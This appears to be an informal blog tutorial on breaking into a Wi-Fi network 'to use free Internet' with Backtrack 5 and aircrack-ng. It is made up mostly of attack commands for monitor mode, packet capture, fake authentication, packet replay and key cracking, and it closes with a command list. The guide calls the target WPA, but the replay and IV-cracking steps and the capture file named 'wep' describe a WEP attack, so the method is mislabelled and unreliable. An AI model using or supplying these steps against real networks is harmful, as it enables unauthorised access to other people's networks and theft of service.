How to crack a WPA encypted wifi Network.

 To crack a WPA encrypted wifi Network to use free Internet, you will need is compatible wifi card and backtrack 5.
First download Backtrack 5 from here.
Download the iso and burn it into a DVD or you can run on virtual Machine in this case i am using Vmware to Run backtrack.

So run the backtrack 5 after that you will see the Desktop then open command terminal and type “airmon-ng” this command will show your interface driver and chip set of your network card.

Then type this command “airmon-ng start wlan0” wlan0 is the name of my interface.

Then you will see at the bottom left corner (monitor mode enable on mon0) so i am using mon0 as my interface after that type this command “airodump-ng mon0” then i will start scanning for wifi networks, after that you will see bssid  channel, encryption, essid etc. my essid is “homenet” your will be different after that type this command “airodump-ng -c (channel) -w (file name) –bssid (bssid) mon0” type your bssid, channel and filename
e.g. airodump-ng -c 3 -w wep –bssid 00:18:01:a7:c0:00 mon0
then press enter

then data will flow slowly so to boost the data,
open up a new command terminal and type “aireplay-ng -1 0 -a (bssid) mon0” if you have strong signals coming from the wifi card the you will see this Association Successful

then type this “aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0” then data will flow much faster if you see Use this  packet press y and press enter,

after that open a another command terminal and type “aircrack-ng (filename)*.cap” and press enter, then it will try to crack it now. Then it will say Key found and the key is 12:34:56 coll ans are not the part of the password so remove it.

so Know you have the wireless password Remember to use this Knowledge for good not for evil be ethical.

Commands that i have used

1)airmon-ng
2)airmon-ng start wlan0
3)airodump-ng mon0
4)airodump-ng -c (channel) -w (file name) –bssid (bssid) mon0
5)aireplay-ng -1 0 -a (bssid) mon0
6)aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (bssid) mon0
7)aircrack-ng (filename)*.cap

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